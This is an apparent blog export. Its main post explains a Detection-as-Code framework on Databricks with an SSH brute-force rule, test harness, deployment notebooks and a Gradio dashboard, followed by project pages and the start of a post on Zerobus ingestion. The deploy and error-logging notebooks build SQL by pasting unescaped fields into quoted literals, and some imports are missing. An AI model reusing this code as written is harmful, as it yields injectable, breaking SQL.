knowledge. Rules live in the SIEM\u0026rsquo;s internal database. The only documentation is what someone typed into a description field three years ago. When that person leaves, the rule becomes an oracle nobody dares touch.\n2. No testing. You find out a rule is broken when it either floods the SOC with noise or misses an actual incident. There\u0026rsquo;s no staging environment, no unit tests, no way to validate a rule against historical data before deploying it.\n3. Vendor lock-in. Every SIEM has its own query language. SPL, KQL, AQL, YARA-L. Migrating 500 rules from Splunk to Sentinel isn\u0026rsquo;t a weekend project. It\u0026rsquo;s a six-month program with a dedicated team.\nThe Lakehouse changes all three. Your data is in Delta tables. Your compute is SQL or Python. Your deployment is code.\nThe framework # flowchart LR subgraph Dev[\u0026#34;Development\u0026#34;] R[\u0026#34;Rule YAML\\n+ Python\u0026#34;] --\u0026gt; Git[\u0026#34;Git Repository\u0026#34;] end subgraph CICD[\u0026#34;CI/CD\u0026#34;] Git --\u0026gt; PR[\u0026#34;Pull Request\u0026#34;] PR --\u0026gt; Test[\u0026#34;Unit Tests\\n(historical data)\u0026#34;] Test --\u0026gt; Review[\u0026#34;Peer Review\u0026#34;] Review --\u0026gt; Merge[\u0026#34;Merge to main\u0026#34;] end subgraph Databricks[\u0026#34;Databricks\u0026#34;] Merge --\u0026gt; WF[\u0026#34;Databricks Workflow\\n(deploy)\u0026#34;] WF --\u0026gt; Cat[\u0026#34;Unity Catalog\\n(rule store)\u0026#34;] Cat --\u0026gt; RT[\u0026#34;Scheduled Jobs\\n(rule execution)\u0026#34;] RT --\u0026gt; Delta[\u0026#34;Delta Tables\\n(alerts)\u0026#34;] end subgraph UI[\u0026#34;Management\u0026#34;] App[\u0026#34;Databricks App\u0026#34;] --\u0026gt; Cat App --\u0026gt; Delta end style Test fill:#6366f1,color:#fff style App fill:#6366f1,color:#fff Four components:\nRule format — YAML with embedded SQL/Python, metadata, and MITRE mapping Test harness — run rules against historical Delta Lake data, validate expected matches Deployment pipeline — Databricks Workflow triggered on merge to main Management App — Databricks App for browsing rules, coverage, and test results 1. Rule format # Every rule is a single YAML file. The format is deliberately simple — anyone who can write SQL can write a detection rule.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 # rules/brute_force_ssh.yaml id: DET-001 name: SSH Brute Force version: 2 status: active severity: high mitre: tactic: Credential Access technique: T1110.001 name: Brute Force - Password Guessing data_sources: - auth_logs - network_flows sql: | SELECT src_ip, dst_ip, dst_port, COUNT(*) AS attempt_count, COUNT(DISTINCT user_name) AS distinct_users, MIN(event_time) AS first_seen, MAX(event_time) AS last_seen FROM {catalog}.{schema}.auth_logs WHERE event_time \u0026gt;= CURRENT_TIMESTAMP - INTERVAL {lookback} AND action = \u0026#39;login_failed\u0026#39; AND dst_port = 22 GROUP BY src_ip, dst_ip, dst_port HAVING attempt_count \u0026gt;= {threshold} parameters: lookback: \u0026#34;1 HOUR\u0026#34; threshold: 20 false_positive_notes: | - Service accounts with automated SSH key rotation - Vulnerability scanners on scheduled scans - Jump hosts with high legitimate traffic tags: - linux - ssh - network Why YAML + SQL # YAML because it\u0026rsquo;s human-readable, diffable, and parseable. Every change shows up cleanly in a PR. SQL because it\u0026rsquo;s the lingua franca. Your SOC analyst doesn\u0026rsquo;t need to learn a new DSL. If they can query the data in a notebook, they can write a rule. Parameterized queries ({lookback}, {threshold}) so the same rule can run with different settings per environment without code changes. The {catalog}.{schema} placeholders are resolved at deployment time from the environment configuration, so the same rule works across dev/staging/prod Unity Catalog schemas.\nMITRE ATT\u0026amp;CK mapping # Every rule maps to at least one MITRE technique. This isn\u0026rsquo;t documentation for the sake of documentation — it\u0026rsquo;s what makes the coverage dashboard possible. More on that in section 4.\n2. Testing rules against historical data # This is where Detection-as-Code earns its name. Every rule has tests. Tests run against real data in Delta Lake.\nTest format # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # tests/brute_force_ssh_test.yaml rule: DET-001 description: \u0026#34;Validate SSH brute force detection against known incidents\u0026#34; test_cases: - name: \u0026#34;Known brute force from 2025-12-15 incident\u0026#34; time_range: start: \u0026#34;2025-12-15T02:00:00Z\u0026#34; end: \u0026#34;2025-12-15T04:00:00Z\u0026#34; expect: min_results: 1 must_contain: src_ip: \u0026#34;10.45.2.118\u0026#34; severity_override: null - name: \u0026#34;Clean period - no false positives expected\u0026#34; time_range: start: \u0026#34;2025-11-01T10:00:00Z\u0026#34; end: \u0026#34;2025-11-01T12:00:00Z\u0026#34; expect: max_results: 0 - name: \u0026#34;Scanner exclusion - should not trigger\u0026#34; time_range: start: \u0026#34;2025-12-20T00:00:00Z\u0026#34; end: \u0026#34;2025-12-20T06:00:00Z\u0026#34; parameters: threshold: 20 expect: must_not_contain: src_ip: \u0026#34;10.100.0.5\u0026#34; # vulnerability scanner Three types of assertions:\nTrue positive — the rule must fire on a known incident True negative — the rule must stay quiet during a clean period Exclusion — known benign sources must not trigger Test runner # The test runner is a Python module that loads the rule YAML, resolves parameters, executes the SQL against a Delta table with a time filter, and validates assertions.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 # detection_framework/test_runner.py import yaml from pyspark.sql import SparkSession from datetime import datetime class DetectionTestRunner: def __init__(self, spark: SparkSession, catalog: str, schema: str): self.spark = spark self.catalog = catalog self.schema = schema def load_rule(self, rule_path: str) -\u0026gt; dict: with open(rule_path) as f: return yaml.safe_load(f) def execute_rule(self, rule: dict, params: dict = None) -\u0026gt; list: resolved_params = {**rule[\u0026#34;parameters\u0026#34;], **(params or {})} resolved_params[\u0026#34;catalog\u0026#34;] = self.catalog resolved_params[\u0026#34;schema\u0026#34;] = self.schema sql = rule[\u0026#34;sql\u0026#34;].format(**resolved_params) return self.spark.sql(sql).collect() def run_test_case(self, rule: dict, test_case: dict) -\u0026gt; dict: # Override time range via parameter injection params = test_case.get(\u0026#34;parameters\u0026#34;, {}) time_range = test_case[\u0026#34;time_range\u0026#34;] # Wrap the rule SQL with a time-bounded CTE original_sql = rule[\u0026#34;sql\u0026#34;] bounded_sql = f\u0026#34;\u0026#34;\u0026#34; WITH time_bounded AS ( {original_sql} ) SELECT * FROM time_bounded WHERE first_seen \u0026gt;= \u0026#39;{time_range[\u0026#34;start\u0026#34;]}\u0026#39; AND last_seen \u0026lt;= \u0026#39;{time_range[\u0026#34;end\u0026#34;]}\u0026#39; \u0026#34;\u0026#34;\u0026#34; rule_copy = {**rule, \u0026#34;sql\u0026#34;: bounded_sql} results = self.execute_rule(rule_copy, params) # Validate assertions expect = test_case[\u0026#34;expect\u0026#34;] failures = [] if \u0026#34;min_results\u0026#34; in expect and len(results) \u0026lt; expect[\u0026#34;min_results\u0026#34;]: failures.append( f\u0026#34;Expected \u0026gt;= {expect[\u0026#39;min_results\u0026#39;]} results, got {len(results)}\u0026#34; ) if \u0026#34;max_results\u0026#34; in expect and len(results) \u0026gt; expect[\u0026#34;max_results\u0026#34;]: failures.append( f\u0026#34;Expected \u0026lt;= {expect[\u0026#39;max_results\u0026#39;]} results, got {len(results)}\u0026#34; ) if \u0026#34;must_contain\u0026#34; in expect: for key, value in expect[\u0026#34;must_contain\u0026#34;].items(): found = any( str(getattr(r, key, None)) == str(value) for r in results ) if not found: failures.append(f\u0026#34;Expected {key}={value} in results\u0026#34;) if \u0026#34;must_not_contain\u0026#34; in expect: for key, value in expect[\u0026#34;must_not_contain\u0026#34;].items(): found = any( str(getattr(r, key, None)) == str(value) for r in results ) if found: failures.append(f\u0026#34;Unexpected {key}={value} found in results\u0026#34;) return { \u0026#34;test_name\u0026#34;: test_case[\u0026#34;name\u0026#34;], \u0026#34;passed\u0026#34;: len(failures) == 0, \u0026#34;result_count\u0026#34;: len(results), \u0026#34;failures\u0026#34;: failures, } Running tests in CI # Tests execute as a Databricks Workflow step, triggered on every PR. The job runs in a dedicated detection_test schema with read-only access to production data.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # databricks_workflows/test_detection_rules.yaml name: \u0026#34;detection-rules-test\u0026#34; tasks: - task_key: \u0026#34;run_tests\u0026#34; notebook_task: notebook_path: \u0026#34;/Repos/security/detection-rules/notebooks/run_tests\u0026#34; base_parameters: catalog: \u0026#34;security\u0026#34; schema: \u0026#34;detection_test\u0026#34; rules_path: \u0026#34;/Repos/security/detection-rules/rules\u0026#34; tests_path: \u0026#34;/Repos/security/detection-rules/tests\u0026#34; new_cluster: spark_version: \u0026#34;15.4.x-scala2.12\u0026#34; num_workers: 2 node_type_id: \u0026#34;Standard_D4ds_v5\u0026#34; The test notebook iterates over all test files, runs each case, and fails the workflow if any assertion breaks:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 # notebooks/run_tests.py import os import yaml import sys dbutils.widgets.text(\u0026#34;catalog\u0026#34;, \u0026#34;security\u0026#34;) dbutils.widgets.text(\u0026#34;schema\u0026#34;, \u0026#34;detection_test\u0026#34;) dbutils.widgets.text(\u0026#34;rules_path\u0026#34;, \u0026#34;\u0026#34;) dbutils.widgets.text(\u0026#34;tests_path\u0026#34;, \u0026#34;\u0026#34;) catalog = dbutils.widgets.get(\u0026#34;catalog\u0026#34;) schema = dbutils.widgets.get(\u0026#34;schema\u0026#34;) rules_path = dbutils.widgets.get(\u0026#34;rules_path\u0026#34;) tests_path = dbutils.widgets.get(\u0026#34;tests_path\u0026#34;) runner = DetectionTestRunner(spark, catalog, schema) all_results = [] failed = False for test_file in os.listdir(tests_path): if not test_file.endswith(\u0026#34;_test.yaml\u0026#34;): continue with open(os.path.join(tests_path, test_file)) as f: test_spec = yaml.safe_load(f) rule_id = test_spec[\u0026#34;rule\u0026#34;] # Find the corresponding rule file rule = None for rule_file in os.listdir(rules_path): with open(os.path.join(rules_path, rule_file)) as f: candidate = yaml.safe_load(f) if candidate[\u0026#34;id\u0026#34;] == rule_id: rule = candidate break if rule is None: print(f\u0026#34;SKIP: Rule {rule_id} not found for test {test_file}\u0026#34;) continue for test_case in test_spec[\u0026#34;test_cases\u0026#34;]: result = runner.run_test_case(rule, test_case) all_results.append(result) status = \u0026#34;PASS\u0026#34; if result[\u0026#34;passed\u0026#34;] else \u0026#34;FAIL\u0026#34; print(f\u0026#34; [{status}] {result[\u0026#39;test_name\u0026#39;]}\u0026#34;) if not result[\u0026#34;passed\u0026#34;]: failed = True for f in result[\u0026#34;failures\u0026#34;]: print(f\u0026#34; -\u0026gt; {f}\u0026#34;) # Write results to Delta for the App dashboard results_df = spark.createDataFrame(all_results) results_df.write.mode(\u0026#34;overwrite\u0026#34;).saveAsTable( f\u0026#34;{catalog}.{schema}.test_results\u0026#34; ) if failed: raise Exception(\u0026#34;Detection rule tests failed. See output above.\u0026#34;) 3. Deployment pipeline # When tests pass and the PR is merged, a deployment workflow picks up the changes and registers the rules in Unity Catalog.\nRule catalog table # Rules are stored as a Delta table in Unity Catalog. This is the single source of truth for what\u0026rsquo;s active in production.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 CREATE TABLE IF NOT EXISTS security.detection.rules ( rule_id STRING, name STRING, version INT, status STRING, severity STRING, mitre_tactic STRING, mitre_technique STRING, mitre_name STRING, data_sources ARRAY\u0026lt;STRING\u0026gt;, sql_template STRING, parameters MAP\u0026lt;STRING, STRING\u0026gt;, false_positive_notes STRING, tags ARRAY\u0026lt;STRING\u0026gt;, deployed_at TIMESTAMP, deployed_by STRING, git_commit STRING ); Deploy notebook # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 # notebooks/deploy_rules.py import yaml import os from datetime import datetime rules_path = dbutils.widgets.get(\u0026#34;rules_path\u0026#34;) catalog = dbutils.widgets.get(\u0026#34;catalog\u0026#34;) git_commit = dbutils.widgets.get(\u0026#34;git_commit\u0026#34;) for rule_file in os.listdir(rules_path): if not rule_file.endswith(\u0026#34;.yaml\u0026#34;): continue with open(os.path.join(rules_path, rule_file)) as f: rule = yaml.safe_load(f) spark.sql(f\u0026#34;\u0026#34;\u0026#34; MERGE INTO {catalog}.detection.rules AS target USING (SELECT \u0026#39;{rule[\u0026#34;id\u0026#34;]}\u0026#39; AS rule_id, \u0026#39;{rule[\u0026#34;name\u0026#34;]}\u0026#39; AS name, {rule[\u0026#34;version\u0026#34;]} AS version, \u0026#39;{rule[\u0026#34;status\u0026#34;]}\u0026#39; AS status, \u0026#39;{rule[\u0026#34;severity\u0026#34;]}\u0026#39; AS severity, \u0026#39;{rule[\u0026#34;mitre\u0026#34;][\u0026#34;tactic\u0026#34;]}\u0026#39; AS mitre_tactic, \u0026#39;{rule[\u0026#34;mitre\u0026#34;][\u0026#34;technique\u0026#34;]}\u0026#39; AS mitre_technique, \u0026#39;{rule[\u0026#34;mitre\u0026#34;][\u0026#34;name\u0026#34;]}\u0026#39; AS mitre_name, \u0026#39;{rule[\u0026#34;sql\u0026#34;]}\u0026#39; AS sql_template, \u0026#39;{git_commit}\u0026#39; AS git_commit ) AS source ON target.rule_id = source.rule_id WHEN MATCHED AND target.version \u0026lt; source.version THEN UPDATE SET * WHEN NOT MATCHED THEN INSERT * \u0026#34;\u0026#34;\u0026#34;) print(f\u0026#34;Deployed {rule[\u0026#39;id\u0026#39;]} v{rule[\u0026#39;version\u0026#39;]} ({rule[\u0026#39;status\u0026#39;]})\u0026#34;) Scheduled execution # Each active rule runs on a schedule via Databricks Workflows. The execution notebook reads rules from the catalog table, runs the SQL, and writes alerts to a Delta table.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # notebooks/execute_rules.py catalog = dbutils.widgets.get(\u0026#34;catalog\u0026#34;) schema = dbutils.widgets.get(\u0026#34;schema\u0026#34;) active_rules = spark.sql(f\u0026#34;\u0026#34;\u0026#34; SELECT * FROM {catalog}.detection.rules WHERE status = \u0026#39;active\u0026#39; \u0026#34;\u0026#34;\u0026#34;).collect() for rule in active_rules: try: params = rule.parameters or {} params[\u0026#34;catalog\u0026#34;] = catalog params[\u0026#34;schema\u0026#34;] = schema sql = rule.sql_template.format(**params) alerts = spark.sql(sql) alert_count = alerts.count() if alert_count \u0026gt; 0: (alerts .withColumn(\u0026#34;rule_id\u0026#34;, lit(rule.rule_id)) .withColumn(\u0026#34;rule_name\u0026#34;, lit(rule.name)) .withColumn(\u0026#34;severity\u0026#34;, lit(rule.severity)) .withColumn(\u0026#34;mitre_technique\u0026#34;, lit(rule.mitre_technique)) .withColumn(\u0026#34;detected_at\u0026#34;, current_timestamp()) .write.mode(\u0026#34;append\u0026#34;) .saveAsTable(f\u0026#34;{catalog}.{schema}.alerts\u0026#34;)) print(f\u0026#34;{rule.rule_id}: {alert_count} alerts\u0026#34;) except Exception as e: print(f\u0026#34;ERROR {rule.rule_id}: {e}\u0026#34;) # Write error to execution log spark.sql(f\u0026#34;\u0026#34;\u0026#34; INSERT INTO {catalog}.{schema}.execution_log VALUES (\u0026#39;{rule.rule_id}\u0026#39;, current_timestamp(), \u0026#39;error\u0026#39;, \u0026#39;{str(e)}\u0026#39;) \u0026#34;\u0026#34;\u0026#34;) 4. The Databricks App # This is the management layer. A Databricks App that gives your SOC team visibility into rules, coverage, and test results without touching code.\nApp structure # detection-app/ app.py # Gradio UI app.yaml # Databricks App config requirements.txt app.yaml # 1 2 3 4 5 6 7 8 command: - python - app.py env: - name: DATABRICKS_CATALOG value: security - name: DATABRICKS_SCHEMA value: detection The app # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 # app.py import gradio as gr from databricks.sdk import WorkspaceClient from databricks.sdk.service.sql import StatementState import json w = WorkspaceClient() CATALOG = \u0026#34;security\u0026#34; SCHEMA = \u0026#34;detection\u0026#34; WAREHOUSE_ID = \u0026#34;your_sql_warehouse_id\u0026#34; def query(sql: str) -\u0026gt; list[dict]: \u0026#34;\u0026#34;\u0026#34;Execute SQL via Databricks SQL Statement API.\u0026#34;\u0026#34;\u0026#34; resp = w.statement_execution.execute_statement( warehouse_id=WAREHOUSE_ID, statement=sql, catalog=CATALOG, schema=SCHEMA, ) if resp.status.state != StatementState.SUCCEEDED: raise Exception(f\u0026#34;Query failed: {resp.status.error}\u0026#34;) columns = [c.name for c in resp.manifest.schema.columns] rows = [] for chunk in resp.result.data_array: rows.append(dict(zip(columns, chunk))) return rows def get_rules_overview(): \u0026#34;\u0026#34;\u0026#34;All rules with status and last test result.\u0026#34;\u0026#34;\u0026#34; rows = query(f\u0026#34;\u0026#34;\u0026#34; SELECT r.rule_id, r.name, r.severity, r.status, r.mitre_tactic, r.mitre_technique, r.version, r.deployed_at FROM {CATALOG}.{SCHEMA}.rules r ORDER BY r.severity DESC, r.name \u0026#34;\u0026#34;\u0026#34;) return rows def get_mitre_coverage(): \u0026#34;\u0026#34;\u0026#34;MITRE ATT\u0026amp;CK coverage matrix.\u0026#34;\u0026#34;\u0026#34; rows = query(f\u0026#34;\u0026#34;\u0026#34; SELECT mitre_tactic, mitre_technique, mitre_name, COUNT(*) AS rule_count, SUM(CASE WHEN status = \u0026#39;active\u0026#39; THEN 1 ELSE 0 END) AS active_rules FROM {CATALOG}.{SCHEMA}.rules GROUP BY mitre_tactic, mitre_technique, mitre_name ORDER BY mitre_tactic, mitre_technique \u0026#34;\u0026#34;\u0026#34;) return rows def get_recent_alerts(hours: int = 24): \u0026#34;\u0026#34;\u0026#34;Alerts from the last N hours.\u0026#34;\u0026#34;\u0026#34; rows = query(f\u0026#34;\u0026#34;\u0026#34; SELECT rule_id, rule_name, severity, mitre_technique, detected_at, src_ip, dst_ip FROM {CATALOG}.{SCHEMA}.alerts WHERE detected_at \u0026gt;= CURRENT_TIMESTAMP - INTERVAL {hours} HOUR ORDER BY detected_at DESC LIMIT 200 \u0026#34;\u0026#34;\u0026#34;) return rows def get_test_results(): \u0026#34;\u0026#34;\u0026#34;Latest test run results.\u0026#34;\u0026#34;\u0026#34; rows = query(f\u0026#34;\u0026#34;\u0026#34; SELECT test_name, passed, result_count, failures FROM {CATALOG}.detection_test.test_results ORDER BY passed ASC, test_name \u0026#34;\u0026#34;\u0026#34;) return rows def get_coverage_stats(): \u0026#34;\u0026#34;\u0026#34;High-level coverage statistics.\u0026#34;\u0026#34;\u0026#34; rows = query(f\u0026#34;\u0026#34;\u0026#34; SELECT COUNT(DISTINCT mitre_technique) AS techniques_covered, COUNT(*) AS total_rules, SUM(CASE WHEN status = \u0026#39;active\u0026#39; THEN 1 ELSE 0 END) AS active_rules, SUM(CASE WHEN severity = \u0026#39;critical\u0026#39; THEN 1 ELSE 0 END) AS critical_rules, SUM(CASE WHEN severity = \u0026#39;high\u0026#39; THEN 1 ELSE 0 END) AS high_rules FROM {CATALOG}.{SCHEMA}.rules \u0026#34;\u0026#34;\u0026#34;) return rows[0] if rows else {} # --- Gradio UI --- with gr.Blocks( title=\u0026#34;Detection-as-Code\u0026#34;, theme=gr.themes.Base(primary_hue=\u0026#34;indigo\u0026#34;), ) as app: gr.Markdown(\u0026#34;# Detection-as-Code Dashboard\u0026#34;) gr.Markdown(\u0026#34;Rule management, MITRE coverage, and alert overview.\u0026#34;) with gr.Tab(\u0026#34;Rules\u0026#34;): rules_btn = gr.Button(\u0026#34;Refresh\u0026#34;) rules_table = gr.Dataframe( headers=[\u0026#34;rule_id\u0026#34;, \u0026#34;name\u0026#34;, \u0026#34;severity\u0026#34;, \u0026#34;status\u0026#34;, \u0026#34;mitre_tactic\u0026#34;, \u0026#34;mitre_technique\u0026#34;, \u0026#34;version\u0026#34;, \u0026#34;deployed_at\u0026#34;], label=\u0026#34;Detection Rules\u0026#34;, ) rules_btn.click(fn=get_rules_overview, outputs=rules_table) with gr.Tab(\u0026#34;MITRE Coverage\u0026#34;): mitre_btn = gr.Button(\u0026#34;Refresh\u0026#34;) mitre_table = gr.Dataframe( headers=[\u0026#34;mitre_tactic\u0026#34;, \u0026#34;mitre_technique\u0026#34;, \u0026#34;mitre_name\u0026#34;, \u0026#34;rule_count\u0026#34;, \u0026#34;active_rules\u0026#34;], label=\u0026#34;MITRE ATT\u0026amp;CK Coverage\u0026#34;, ) mitre_btn.click(fn=get_mitre_coverage, outputs=mitre_table) with gr.Tab(\u0026#34;Alerts\u0026#34;): hours_slider = gr.Slider(1, 168, value=24, step=1, label=\u0026#34;Lookback (hours)\u0026#34;) alerts_btn = gr.Button(\u0026#34;Refresh\u0026#34;) alerts_table = gr.Dataframe( headers=[\u0026#34;rule_id\u0026#34;, \u0026#34;rule_name\u0026#34;, \u0026#34;severity\u0026#34;, \u0026#34;mitre_technique\u0026#34;, \u0026#34;detected_at\u0026#34;, \u0026#34;src_ip\u0026#34;, \u0026#34;dst_ip\u0026#34;], label=\u0026#34;Recent Alerts\u0026#34;, ) alerts_btn.click(fn=get_recent_alerts, inputs=hours_slider, outputs=alerts_table) with gr.Tab(\u0026#34;Test Results\u0026#34;): test_btn = gr.Button(\u0026#34;Refresh\u0026#34;) test_table = gr.Dataframe( headers=[\u0026#34;test_name\u0026#34;, \u0026#34;passed\u0026#34;, \u0026#34;result_count\u0026#34;, \u0026#34;failures\u0026#34;], label=\u0026#34;Latest Test Run\u0026#34;, ) test_btn.click(fn=get_test_results, outputs=test_table) app.launch() What changes in your SOC # When you move from SIEM rules to this framework, the workflow shifts fundamentally:\nBefore (SIEM) After (Detection-as-Code) Rules edited in vendor GUI Rules in YAML, versioned in Git No review process Every change goes through PR review Test by deploying to prod Unit tests against historical data \u0026ldquo;Who changed this rule?\u0026rdquo; — nobody knows Full Git history with author and context Migration = rewrite everything SQL is portable, YAML is engine-agnostic Coverage tracking = spreadsheet Automated MITRE mapping from rule metadata Rule debugging = stare at logs Replay against any time range in Delta Lake The biggest shift is cultural. When detection is code, your security engineers start thinking like software engineers. They write tests. They review each other\u0026rsquo;s work. They refactor. They build on each other\u0026rsquo;s rules instead of duplicating them.\nGetting started # You don\u0026rsquo;t need to migrate everything at once. Start with:\nOne high-value rule — pick your most critical detection (lateral movement, privilege escalation, whatever keeps you up at night). Write it in YAML. Test it against last month\u0026rsquo;s data.\nThe Delta table — create security.detection.rules and security.detection.alerts. That\u0026rsquo;s your foundation.\nA single Workflow — one scheduled job that executes active rules. Start with hourly, tune later.\nThe App — deploy the Gradio app. Give your SOC lead the URL. Watch them stop asking \u0026ldquo;what rules do we have?\u0026rdquo;\nThe framework grows organically. Once one rule works, the second is trivial. By the tenth rule, your team is writing rules faster than they ever did in a SIEM.\nLinks:\nDatabricks Apps documentation MITRE ATT\u0026amp;CK framework Databricks Workflows Unity Catalog ","date":"13 March 2026","externalUrl":null,"permalink":"/posts/detection-as-code/","section":"Posts","summary":"","title":"From SIEM to Lakehouse: Detection-as-Code on Databricks","type":"posts"},{"content":"","date":"13 March 2026","externalUrl":null,"permalink":"/tags/mitre/","section":"Tags","summary":"","title":"Mitre","type":"tags"},{"content":"","date":"1 March 2026","externalUrl":null,"permalink":"/tags/monitoring/","section":"Tags","summary":"","title":"Monitoring","type":"tags"},{"content":"","date":"1 March 2026","externalUrl":null,"permalink":"/tags/open-source/","section":"Tags","summary":"","title":"Open-Source","type":"tags"},{"content":"Side projects built outside of my main role. Open source security tooling and experiments with Databricks, AI, and data engineering.\nSilentPulse Security Visibility Monitoring Visit site ↗ Your SIEM is only as good as the data it receives. When sources go silent, detection rules keep running but stop detecting. SilentPulse monitors your entire security pipeline and alerts when expected telemetry stops flowing. Per-asset, with MITRE ATT\u0026CK impact mapping. Community Edition is open source and free forever. security monitoring open-source splunk elastic kafka databricks mitre docs demo github ","date":"1 March 2026","externalUrl":null,"permalink":"/projects/","section":"Projects","summary":"","title":"Projects","type":"projects"},{"content":"Your SIEM is only as good as the data it receives. When sources go silent, detection rules keep running but stop detecting. SilentPulse monitors your entire security pipeline and alerts when expected telemetry stops flowing. Per-asset, with MITRE ATT\u0026amp;CK impact mapping.\nIntegrates with Splunk, Elastic, Kafka, Databricks, Sentinel, CrowdStrike, Palo Alto, QRadar, AWS.\nCommunity Edition is open source and free forever.\n","date":"1 March 2026","externalUrl":"https://silentpulse.io","permalink":"/projects/silentpulse/","section":"Projects","summary":"","title":"SilentPulse","type":"projects"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/tags/delta/","section":"Tags","summary":"","title":"Delta","type":"tags"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/tags/grpc/","section":"Tags","summary":"","title":"Grpc","type":"tags"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/tags/streaming/","section":"Tags","summary":"","title":"Streaming","type":"tags"},{"content":"On February 23, 2026, Databricks quietly promoted Zerobus Ingest from preview to GA. No fanfare, no keynote. Just a docs page update and a SDK bump to 0.2.0.\nZerobus replaces the entire Kafka→Spark Structured Streaming→Delta pipeline with a single gRPC call. No brokers, no partitions, no consumer groups. You send JSON, you get an offset ACK, your data lands in a Delta table. Sub-200ms P50 latency. Fully serverless.\nI wanted to see how fast I could integrate it with an existing dataflow platform. So I built an Apache NiFi processor for it, going from zero to data landing in Databricks in a weekend. This post covers the integration, the gotchas, and a monitoring gap that most teams will overlook.\nWhat Zerobus replaces # The traditional Databricks ingestion story involves at least two systems you have to operate:\nflowchart LR Source[\u0026#34;Data Source\u0026#34;] --\u0026gt; Kafka[\u0026#34;Kafka Broker\u0026#34;] Kafka --\u0026gt; SS[\u0026#34;Spark Structured\\nStreaming\u0026#34;] SS --\u0026gt; Delta[\u0026#34;Delta Table\u0026#34;] style Kafka fill:#dc2626,color:#fff style SS fill:#dc2626,color:#fff Kafka alone is a full-time job: topic management, partition rebalancing, consumer lag, retention policies, schema registry. Then Spark adds checkpoint management, micro-batch tuning, and cluster sizing. Each is a potential failure point that needs monitoring, alerting, and on-call rotation.\nZerobus collapses this to:\nflowchart LR Source[\u0026#34;Data Source\u0026#34;] --\u0026gt; ZB[\u0026#34;Zerobus\\n(Serverless)\u0026#34;] ZB --\u0026gt; Delta[\u0026#34;Delta Table\u0026#34;] style ZB fill:#6366f1,color:#fff One gRPC stream. No infrastructure. The data goes from your producer directly into a Delta table:\nMetric Spec Latency (P50) ≤ 200ms from send to queryable Throughput per stream 100 MB/s Throughput per table 10 GB/s (fan-in from multiple streams) Max payload 20 MB per request Semantics At-least-once (stream), exactly-once (table via dedup) Auth OAuth 2.0 M2M (service principal only) Protocol gRPC (SDK), REST (HTTP/2) For high-volume telemetry (security events, metrics, logs), this is the primitive you want. No intermediaries, no tuning, just send and forget.\nThe cost side # Most Databricks shops today run some variant of Kafka → Delta Live Tables (DLT) → Delta table. DLT handles schema enforcement, data quality expectations, and incremental processing well. But it comes with a bill.\nDLT pipelines need always-on compute to consume from Kafka. That means DBUs, VM hours, and network egress, 24/7, whether data is flowing or not. For a typical security telemetry pipeline doing 50 MB/s sustained, you\u0026rsquo;re looking at a DLT pipeline running on a cluster that never sleeps. Add multiple sources, multiple tables, and suddenly your \u0026ldquo;streaming\u0026rdquo; budget is dominated by the compute layer sitting between Kafka and Delta.\nZerobus eliminates that entire layer. If your data is already well-formed JSON matching the target schema (and in many telemetry use cases, it is), there\u0026rsquo;s no transformation step needed. No DLT pipeline, no always-on cluster, no DBU burn. The data goes directly from your producer into the Delta table. The only cost is Zerobus ingestion itself, which is pure serverless. You pay for bytes ingested, not for idle compute waiting for bytes to arrive.\nflowchart LR subgraph Before[\u0026#34;Traditional (always-on compute)\u0026#34;] S1[\u0026#34;Source\u0026#34;] --\u0026gt; K[\u0026#34;Kafka\u0026#34;] --\u0026gt; DLT[\u0026#34;DLT Pipeline\\n💰 DBUs + Compute\u0026#34;] --\u0026gt; D1[\u0026#34;Delta Table\u0026#34;] end subgraph After[\u0026#34;Zerobus (serverless)\u0026#34;] S2[\u0026#34;Source\u0026#34;] --\u0026gt; ZB[\u0026#34;Zerobus\\n(pay per byte)\u0026#34;] --\u0026gt; D2[\u0026#34;Delta Table\u0026#34;] end style DLT fill:#dc2626,color:#fff style ZB fill:#6366f1,color:#fff For pipelines where the data doesn\u0026rsquo;t need transformation, just reliable delivery, Zerobus isn\u0026rsquo;t just simpler. It\u0026rsquo;s meaningfully cheaper.\nBuilding the NiFi processor # Apache NiFi is the Swiss army knife of data routing. Visual, backpressure-aware, battle-tested in enterprises that move terabytes daily. The problem? No Zerobus connector exists. Day one of GA, zero integrations outside the official Python/Java SDKs.\nSo I built one. The source is on GitHub under Apache 2.0.\nThe SDK: Java wrapping Rust wrapping gRPC # The official Java SDK (com.databricks:zerobus-ingest-sdk:0.2.0) isn\u0026rsquo;t pure Java. It\u0026rsquo;s a thin JNI layer over a compiled Rust binary that manages the gRPC stream, TLS, authentication, token refresh, compression, and stream 